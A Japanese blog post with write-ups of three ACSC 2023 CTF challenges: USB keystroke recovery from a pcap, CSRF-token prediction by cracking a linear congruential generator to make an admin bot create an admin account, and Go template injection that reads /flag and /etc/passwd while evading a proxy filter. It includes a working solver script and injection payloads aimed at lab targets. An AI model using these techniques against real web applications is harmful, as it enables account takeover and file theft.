はまやんはまやんはまやん

hamayanhamayan's blog

Asian Cyber Security Challenge 2023 Quals Writeups

[Forensics] pcap-1

総パケット数が401193とかなりでかい。
プロトコル階層を見てみても、特にこれといった発見はないが、USBのシリアル通信も記録されているのが珍しい。

一旦tshark -r capture.pcapng -Y "usb" -w usb.pcapとしてUSBだけ取り出してきて眺める。
キーボード入力っぽいものも散見されたので、色々スクリプトはあるが簡単に以下を使って文字にしてみた。
w3irdsh4rk/CTF-Usb_Keyboard_Parser: USB Keyboard Parser Tool is an automated script that can extract HID data from.pcap or.pcapng files.

aasslliiddddeeeessss..ggggoooogglleeee..ccoooomm

CCTTFF    IInnttttttrroo  PPrrrreesssseeeennttaaaattiiiioonnbbbbccaaaabbaabbbbccbbccbbaaaaaabbbbaaaaaaaaaaaaHHooww  ttoo  bbee  ggoooodd  aaaatt  CCTTFFss??aaaaaaAA  bbeeggiinnnneeeerr''ss    gguuuuiiddddbbDDoonnoottcchheeaaaattaaaaaaGGgguuuueessssiiiinnnnggaaaaaabbiissbbbbaabbaaccaaggooooddaaaaaaaaccaaTTtthhiiiiss  iiiiss  aaaannnn    eexxxxaaaammpppppplleeee  ooooffff  aaaa  ffllllaaaagg::aaaaAACCSSCC{{aaaaff00rr33nnss11ccssbbbbaabbaaaaaaaaaaaaaaaaaaaaaaaa__bbaaaaiissccddaabb__aaaaaaaaaaaaaaaabbaaaaaaaass00aaaaaa__bbaaaaaaaaaaaaaaaabbaaaaaaaaaaaaaaffuunnaaaaaaaaaaaaaaaaaaaaddddaabbbbccacacddbbccbbaaaabbaaaaaa}}aabbaabbbbddbbababbbbbbbaabbbbbbbbbbbbeebbaabbaaddaaaaaaaaaaaaaaaaaabbbbaaaaaaaaaabbaabbbbaaaabbaaababaaaaaabbaaaaaaaaaaaabbccggaabbccccbbccbbccccbbbbbbaaaaccbbbbaaaaccaabbccbbddccbbbbbbbbbbcbcbaabbccccffddaaffaaaaddcceeddaaffccddddaaddeeddbbccccbbddccccbbffbbbbaabbaaaaaabbaabbaaaaaaccaaaabbaaccbbccbbbbcccccccccceeddaaffddaaeeaaffeeeeaaaabbaakkeeeeaaeeddffaaaaddeeeeaaeeddaabbeeffddaaaaaaddffeebbbbaagghhhhhhbbbbiihhiibbccbbjjhhddbbbbhhiiggddbbbbbbhheeggbbaaeeeeeeddeeeeeeaaccaaggddaaffbbccbbbbbbaaaaaabbaaaabbaaaaccccccaaaaaaaaaaaaaaaaaaaaaabbaaaabbaabbccccbbbbbbbbccbbbbbbaaccaaccccbbbbbbaaaabbaabbddccaaaaffbbdddccdccaaccddccddaaaaaaffddaaddccddaaccccccbbbbaabbaaaaaaaaaaaaaaaaaaaaIIff    yyoooouuuu  ccccaaaann    rrrreeeeeeaaaadd  tttttthhiissss  mmmmeessssaaggggee,,  ccoonnnnggrraaaattss!!11

BBuuuutt    tttthheeee  ffllaaaagggg  yyoooouu  sssseeeeee  nnnnooww  iiiissss  nnnnooootttt    tthhhheeee  aacccceeeepptteeeeeedd  ffllllaaaagg..aaaaaaaaaaaaccaaaaaabbbbccbbccaabbcbcbbbbbccbbbbbbccccaabbddccaaccddaaccccffaabbccccbbbbaabbbbaaaaaaaaaaaaaaaabbeeaabbaaaabbaaddbbaaaaaaaaccaaaaccaabbaaababbbbbbbbbbbbbccbbaaccbbbbbbaaaabbbbaabbbbaabbaabbaabbaaaaccbbbbbbbbcccbcbaabbbbbbaaccaaaabbaaaabbaaaaaaaabbaabbaaaaaaaa

IInnssppeeeecctt    tttthhhheeee  ppppaaaacccckkeeeettttssss  mmmmmmmmrrrreeee  ddddeeeeppllyy,,  aaaanndddd  yyoooouuuu  wwwwiillll  rrrreevvvveeaaaall  mmmmmmrrrreeee  iiiinnffoorrrrmmaaaattiiiioonn    aaaabboooouuuutttt  wwwwhhhhaaaatttt  iissss  hhhhaaaappppeeeenniiiinngg..

II''mm    wwwwrrrriittttiiiinnnngggg  tttthhhhhhiissss    hheerrrree,,  ootthhhheeeerrrrwwiissssee  1111000000  ppeeeeoooopppplllleeee    wwiillll    ddmm  mmmmeeee  ttttoo  ssssaayy    tttthhaaaatt    tttthhee  ffllaaaagggg  iiss  nnnnooootttt  wwoorrrrkkiiiinnnngg,,,,  oooooorr    tthhhheeee  cccchhaalllleennggggee  iiiissss  bbrrookkeenn..

BBttww,,    II  ddoonn''tttt  lliikkeeee  ffoorreennssssiiccccssss  ttoooo..  ::))

文字がダブっている。
この辺いつもよくわかっていないのだが、チャタリング的なあれ?と毎回思っていて、ちゃんとやろうとするとTimeを見ながらきれいにするべきだろうが、単純に重複を省く感じで処理する。
ChatGPTで「python3でテキストファイルを読み込んで一文字ずつ表示していくが、前の文字と同じであれば表示しないようなスクリプトを書いてください。」とお願いすると、
数秒で書き上げてくれた。

with open('filename.txt', 'r') as f:
    previous_char = ''
    for char in f.read():
        if char != previous_char:
            print(char, end='')
        previous_char = char

凄すぎる。以下のように変換される。

$ python3 chatgpt.py
aslides.gogle.com
CTF Intro PresentationbcababcbcbabaHow to be god at CTFs?aA beginer's guidbDonotcheataGguesingabisbabacagodacaTthis is an example of a flag:aACSC{af0r3ns1csbaba_baiscdab_abas0a_babafunadabcacacdbcbaba}ababdbabababebabadababababababababcgabcbcbcbacbacabcbdcbcbcbabcfdafadcedafcdadedbcbdcbfbabababacabacbcbcedafdaeafeabakeaedfadeaedabefdadfebaghbihibcbjhdbhigdbhegbaedeacagdafbcbababacabababcbcbacacbababdcafbdcdcacdcdafdadcdacbabaIf you can read this mesage, congrats!1
But the flag you se now is not the acepted flag.acabcbcabcbcbcbcabdcacdacfabcbababeababadbacacabababcbacbabababababacbcbcbabacababababa
Inspect the packets mre deply, and you wil reveal mre information about what is hapening.
I'm writing this here, otherwise 10 people wil dm me to say that the flag is not working, or the chalenge is broken.
Btw, I don't like forensics to. :)

んー、微妙なフラグが出てきたが、だめ。
abababというのが多いので、ゴミデバイスが邪魔しているんだろう…
改めてpcapを見返すとSourceが1.12.1と1.13.1がある。
OK.
分離してこれまでやった変換をやろう。

tshark -r usb.pcap -Y 'usb.src == "1.12.1"' -w usb1_12_1.pcap

abcababcbcbababababacacabababacdababababadabcacacdbcbabababdbabababebabadababababababababcgabcbcbcbacbacabcbdcbcbcbabcfdafadcedafcdadedbcbdcbfbabababacabacbcbcedafdaeafeabakeaedfadeaedabefdadfebaghbihibcbjhdbhigdbhegbaedeacagdafbcbababacabababcbcbacacbababdcafbdcdcacdcdafdadcdacbabacabcbcabcbcbcbcabdcacdacfabcbababeababadbacacabababcbacbabababababacbcbcbabacababababa

変な感じだが、よくよく見るとマウスのキャプチャっぽい。

tshark -r usb.pcap -Y 'usb.src == "1.13.1"' -w usb1_13_1.pcap

slides.gogle.com
CTF Intro PresentationHow to be god at CTFs?A beginer's guidDonotcheatGguesingisgodTthis is an example of a flag:ACSC{f0r3ns1cs_is_s0_fun}If you can read this mesage, congrats!1
But the flag you se now is not the acepted flag.
Inspect the packets mre deply, and you wil reveal mre information about what is hapening.
I'm writing this here, otherwise 10 people wil dm me to say that the flag is not working, or the chalenge is broken.
Btw, I don't like forensics to. :)

ということで作者の恨み節と共にフラグが見つかる。

[web] Admin Dashboard

index.phpを見ると

<?=($_SESSION["user"]["role"] === "admin") ? '<p class="lead">ACSC{REDACTED}</p>' : "";?>

とあるので、admin権限でindex.phpが見られればフラグが得られそう。
addadmin.phpを使えばadmin権限のユーザーが追加できる。これが使えそう。

addadmin.phpを見ると、ユーザー追加にif($_SESSION["user"]["role"] !== "admin"){という条件があるので、adminに踏ませる必要がある。
$_REQUESTのusername, password, csrf-tokenを用意すればいい。
$_REQUESTはGET,POST,Cookieのどれでも使えるので、GETのクエリストリングで渡すことにする。
username, passwordは任意のものを渡せばいいが、問題はcsrf-token。

初回のcsrf-tokenは未知の数A,Cと既知のusername,Mを使って

X[0] = A * username + C mod M

のように生成される。さらに、そこから30秒ごとに、

X[i+1] = A * X[i] + C mod M

のような感じで再生成されて使用される。
この形はまさに線形合同法であり、これはいくつかサンプルがあればパラメタが割り出せる。

詳しくはkurenaif先生の動画がいいと思う。
実装は線形合同法 (Linear Congruential Generators) によって生成される擬似乱数を予測するを借りてきた。

このcsrf-tokenは自分で作ったアカウントでも取得可能なので、自分でアカウントを作って30秒ごとにtokenをもらってきて、パラメタA,Cを割り出す。
これで、A,C,Mが既知でusernameはadminを使えばいいので、csrf-tokenが生成可能となった。
これを使って、adminユーザーの作成依頼をかけて、そのユーザーでアクセスすればフラグが得られる。

以下のようにcsrf-tokenのジェネレータを作成した

import requests
import re
import time
import string
import random
import binascii

BASE = 'http://admin-dashboard.chal.ctf.acsc.asia'
#BASE = 'http://localhost:8000'
username = ''.join(random.sample(string.ascii_letters, 10))
password = ''.join(random.sample(string.ascii_letters, 10))

print(f'username -> {username}')
print(f'password -> {password}')

s = requests.Session()
s.get(BASE + '/register', params={'username':username, 'password':password})
s.get(BASE + '/login', params={'username':username, 'password':password})

x = []
for _ in range(8):
    t = s.get(BASE + '/addadmin').text
    token = re.findall(r'<input type=\"hidden\" name=\"csrf-token\" value=\"([0-9a-f]*)\">', t)[0]
    print(token)
    x.append(int(token, 16))

    time.sleep(35)

# ============================================

# https://satto.hatenadiary.com/entry/solve-LCG

def solve_unknown_increment(states, A, M):
    B = (states[1] - A * states[0]) % M
    return B

from Crypto.Util.number import inverse

def solve_unknown_multiplier(states, M):
    A = (states[2] - states[1]) * inverse((states[1] - states[0]), M)
    return A

from Crypto.Util.number import inverse, GCD
from functools import reduce

def solve_unknown_modulus(states):
    diffs = [X_1 - X_0 for X_0, X_1 in zip(states, states[1:])]
    multiples_of_M = [T_2 * T_0 - T_1 ** 2 for T_0, T_1, T_2, in zip(diffs, diffs[1:], diffs[2:])]

    # GCD(GCD(multiples_of_M[0],multiples_of_M[1]), multiples_of_M[2])
    M = reduce(GCD, multiples_of_M)
    return M

M = solve_unknown_modulus(x)
A = solve_unknown_multiplier(x, M)
C = solve_unknown_increment(x, A, M)

# answer
print("A = {}".format(hex(A)))
print("C = {}".format(hex(C)))
print("M = {}".format(hex(M)))

# ============================================

from Crypto.Util.number import *

assert (A * bytes_to_long(username.encode()) + C) % M == x[0]

print(hex((A * bytes_to_long('admin'.encode()) + C) % M))

後は適当なユーザーを作成するように以下のようなURLをreportする。
botクローラーソースコードを確認すると、localhostにする必要がありそうなので注意。

http://localhost/addadmin?username=waeji25fgew&password=dfgj34ijgi&csrf-token=1fe69abb084e42434627a84405d722e0

これでadminユーザーが作られたはずなので、以上のreportであればwaeji25fgew:dfgj34ijgiでログインすればフラグが得られる。

[web] easySSTI

注目すべき点がtemplateというヘッダーがプロキシ経由で転送されるという部分。
これを使えば、template.htmlではなく任意のテンプレートを差し込める。
なので、これを使って任意のSSTIをして情報を抜く問題だが、
プロキシの制限によって/ACSC\{.*\}/が応答に含まれてはいけない。

テンプレートの生成部分を見ると、main.goでif err := t.Execute(buf, c); err != nil {の部分になる。 コンテキストとして渡している変数cはecho.Contextなので、ここから辿れるもので使えるものがないかを探していく。

https://github.com/labstack/echo/blob/master/context.go
ここを見ると、FileとかAttachmentとかで任意のファイルを返すことができる。
つまり、template: {{.File "/etc/passwd"}}みたいに書けるわけだが、そのまま返すとプロキシが弾いてしまう。
なので、別ルートを探す。

https://github.com/labstack/echo/blob/master/echo.go
ここを見ると、Filesystemといういかにも使えそうなものが見つかる。
OpenでFileを開くことができ、該当ファイルのfs.Fileを返してくれる。
template: {{ .Echo.Filesystem.Open "/etc/passwd" }}

https://pkg.go.dev/io/fs#File
ここを見ると使えそうなのはReadくらいしかなく、読込先として[]byteを指定する必要がある。
これを探すのに四苦八苦していたが…
なんとカスタムコード部分に用意されていた!
main.goにtmpl, ok := c.Get("template").([]byte)とあるので、.Get "template"とすればこの[]byteの変数を取り出すことができる!
これを保存先として指定して、そのあと表示してやれば、読込データが表示される。
つまり {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{.Get "template"}} という感じ。

[]byteをテンプレートで表示するときはarray形式でdecimalで表示されるっぽいのでプロキシもbypassできる。
decimal形式になっているので適用にCyberChefあたりでasciiとして読み込ませてやればフラグが出てくる。